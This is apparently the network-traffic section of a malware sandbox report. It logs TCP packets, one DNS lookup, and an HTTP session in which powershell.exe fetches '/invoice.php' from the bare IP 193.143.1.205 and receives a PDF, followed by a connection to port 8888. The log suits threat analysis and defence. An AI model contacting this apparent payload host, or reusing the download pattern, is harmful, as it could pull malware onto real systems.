Jan 13, 2025 16:18:59.304706097 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304732084 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304764986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304776907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304819107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304862022 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304869890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304903984 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304943085 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.304950953 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.304976940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.305011034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.305027962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.305044889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.305078983 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.305083036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.305113077 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.305150032 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.305154085 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.305185080 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.305221081 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.305238962 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.305253029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.305286884 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.305293083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.305320978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.305365086 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.330928087 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.337209940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337280035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337313890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337333918 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.337366104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337400913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337419987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.337438107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337483883 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.337491035 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337521076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337553978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337563992 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.337589979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337635040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.337640047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337676048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337728024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337738991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.337762117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337795973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337824106 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.337829113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337867022 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337872982 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.337903976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337939024 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.337966919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.337994099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338027000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338051081 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338061094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338094950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338104963 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338129997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338164091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338181019 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338200092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338233948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338260889 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338287115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338320971 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338346958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338355064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338397980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338407993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338442087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338479042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338493109 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338534117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338567972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338584900 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338603020 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338637114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338654995 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338671923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338706970 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338726997 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338741064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338779926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338794947 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338816881 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338851929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338869095 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338886023 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338920116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338936090 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.338954926 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.338989973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.339016914 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.339024067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.339059114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.339078903 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.339095116 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.339131117 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.339143991 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.339183092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.339220047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.339226961 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.339252949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.339288950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.339337111 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.339343071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.339380026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.339418888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.344228029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344258070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344296932 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.344326973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344377041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344378948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.344410896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344464064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344465971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.344499111 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344532013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344566107 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344568014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.344599009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344616890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.344635010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344669104 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344693899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.344703913 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344738960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344754934 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.344773054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.344829082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.370043993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.382569075 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.396230936 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396264076 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396317005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396347046 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.396352053 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396414995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396430969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.396467924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396502972 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396519899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.396536112 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396573067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396584988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.396604061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396655083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396662951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.396688938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396720886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396749973 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.396755934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396804094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.396806002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396843910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396872997 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396902084 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.396908998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396944046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.396980047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.396997929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397032976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397063971 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.397070885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397105932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397133112 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.397140026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397176981 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397191048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.397212982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397258043 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.397264957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397299051 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397334099 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397353888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.397367001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397401094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397417068 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.397434950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397470951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397486925 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.397504091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397543907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397561073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.397578001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397613049 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397624969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.397648096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397681952 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397715092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397727013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.397749901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397778988 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.397783995 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397819996 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397846937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.397855043 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.397903919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.429599047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.429697990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.429714918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.429742098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.429776907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.429851055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.429904938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.429924011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.429924011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.429949045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430005074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430022001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.430022001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.430035114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430083036 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.430092096 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430126905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430160046 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430186987 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.430196047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430233002 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430244923 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.430274010 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430304050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430335999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.430337906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430373907 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430388927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.430408001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430443048 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430458069 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.430476904 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430511951 CET	80	49704	193.143.1.205	192.168.2.5
Jan 13, 2025 16:18:59.430521011 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.459392071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.472229958 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:18:59.726048946 CET	49704	80	192.168.2.5	193.143.1.205
Jan 13, 2025 16:19:00.445971012 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 13, 2025 16:19:00.450948954 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 13, 2025 16:19:00.451035976 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 13, 2025 16:19:00.451302052 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 13, 2025 16:19:00.456039906 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 13, 2025 16:19:01.246501923 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 13, 2025 16:19:01.294141054 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 13, 2025 16:19:01.424417019 CET	49705	8888	192.168.2.5	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 13, 2025 16:19:13.415087938 CET	51003	53	192.168.2.5	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 13, 2025 16:19:13.415087938 CET	192.168.2.5	1.1.1.1	0x5394	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 13, 2025 16:19:13.422002077 CET	1.1.1.1	192.168.2.5	0x5394	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	1472	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 13, 2025 16:18:57.817596912 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 13, 2025 16:18:58.650860071 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Mon, 13 Jan 2025 15:18:58 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 13, 2025 16:18:58.650906086 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 13, 2025 16:18:58.650942087 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
Jan 13, 2025 16:18:58.650974989 CET	1236	IN	Data Raw: f4 f0 e6 f0 a0 29 a1 fb 7b d7 7b ef db 0c da 34 d0 cb b7 af d3 63 9e 44 bb 1e fa e1 e6 70 bf 59 96 7b 72 d4 0e 87 b6 27 87 ce 3e 66 37 1c ca a6 dc 5d 34 f5 cd 09 00 00 60 1a 7c b1 04 00 00 00 00 c0 97 64 a3 31 05 3b 2a 1f 43 a3 1d b9 d7 69 47 6e Data Ascii: ){{4cDpY{r'>f7]4`\|d1;CiGn{ZM63\U$CrCM;oN%$)Ioc6vcCB^{}m_v>=wfS=rw7'i_p,`G>0t#
Jan 13, 2025 16:18:58.651010036 CET	1236	IN	Data Raw: 0c bd ef 63 e8 cd cd e3 f5 d5 c3 d5 e5 fd c5 79 13 43 4f 4f 6e 4f 8e 6e 8f 0e 9a 18 fa 41 62 e8 2b 1f 43 73 93 a1 97 6f bb 18 7a bd 3f 8f a1 77 5d 0c bd 68 63 e8 f5 e3 20 86 8e 1d 1b 4a 0c dd b0 a9 6f 4e 00 00 00 d3 e0 8b 25 00 f8 ec ec d4 bf ed Data Ascii: cyCOOnOnAb+Csoz?w]hc JoN%.k#W?6i]5;e)}m{bMC?dbh1xCRcxeSM}s_,gdwY]}-\?'M@Une
Jan 13, 2025 16:18:58.651042938 CET	1236	IN	Data Raw: be 39 01 00 00 4c 83 2f 96 00 60 a7 e4 ee c3 e1 37 de 73 b5 22 0c 16 6b 89 05 e5 0b d0 25 e5 71 65 85 2e b3 44 a4 58 bd 4f d5 5c c6 a2 4f a0 b9 b0 4d 5c d5 86 5e df cd 5d d8 2a 9f 26 b9 27 b9 de e6 9e ae 25 de f6 35 6f b9 f0 9a c3 5f b6 83 af e6 Data Ascii: 9L/`7s"k%qe.DXO\OM\^]*&'%5o_&^^O\CS1Cb96tCoN%;_ekZl3<".wU\^]r)5s3~\AV6[E_
